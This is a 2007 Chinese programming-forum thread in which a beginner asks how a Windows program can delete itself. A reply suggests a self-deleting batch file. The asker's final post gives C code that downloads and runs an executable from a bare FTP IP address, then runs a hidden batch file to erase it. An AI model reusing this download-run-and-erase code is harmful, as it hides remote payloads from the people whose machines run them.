注册 登录
编程论坛 C++教室

[求助]怎么运行完程序之后,再把自己删除呢?

baby69yy2000 发布于 2007-09-04 20:53, 898 次点击
//open.exe
#include<windows.h>
int main()
{
//自动打开网页
WinExec("C:\\Program Files\\Internet Explorer\\IExplore.exe http://www.baidu.com",SW_SHOWNORMAL);
WinExec("del /s .\open.exe",SW_HIDE); //这个写的不对
return 0;
}
运行完"open.exe",再把自己删掉呢?"open.exe",文件路径是不确定的
指点一下好吗,谢谢

[此贴子已经被作者于2007-9-4 21:39:36编辑过]

3 回复
#2
雨中飞燕2007-09-04 20:57
最简单的方法:
生成的一bat文件,用来删除文件的(循环等待直到文件不存在),以及删bat文件自己的
那个文件指向自己这个exe,用你自己的程序去生成这个bat
在程序结束之前运行这个bat,就行了



by 雨中飞燕 QQ:78803110 QQ讨论群:5305909

[url=http://bbs.bc-cn.net/viewthread.php?tid=163571]请大家不要用TC来学习C语言,点击此处查看原因[/url]
C/C++算法习题(OnlineJudge):[url]http://yzfy.org/[/url]
#3
baby69yy20002007-09-04 21:17
怎么用C生成bat文件呢?
我吃菜的鸟呀,把源代码让我看看吧
想不出来呀
我现在c的语法才刚熟悉
哎呀,学C有大半年了吧,发现删个文件都不会
#4
baby69yy20002007-09-05 12:19
回复:(雨中飞燕)最简单的方法:生成的一bat文件,用...
//文件名--myopen.c
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<urlmon.h>
#include<process.h>
#include<Shellapi.h>
#pragma comment (lib,"Urlmon.lib")
int main()
{
//下载"open.exe"到"C:\\open.exe"
URLDownloadToFile(NULL,"ftp://123.10.54.104/open.exe","C:\\open.exe",0,NULL);
//运行"C:\\open.exe"
ShellExecute(0,"open","C:\\open.exe",NULL,NULL,SW_SHOW);
char str[]={"del /f /q C:\\open.exe"};
char ch; FILE *fp;
if((fp=fopen("C:\\myclear.bat","w+"))==NULL)
{
exit(0);
}
for(int i=0;(ch=str[i])!='\0';i++)
{
fputc(ch,fp);
}
fclose(fp);
//运行批处理文件"myclear.bat"---删掉"open.exe"
WinExec("C:\\myclear.bat",SW_HIDE);
return 0;
}
最后怎么把"myopen.exe"也删掉呢?"myopen.exe"的路径不确定呀,我不知道"myopen.exe"它在那个盘呢
请前辈指点一下
1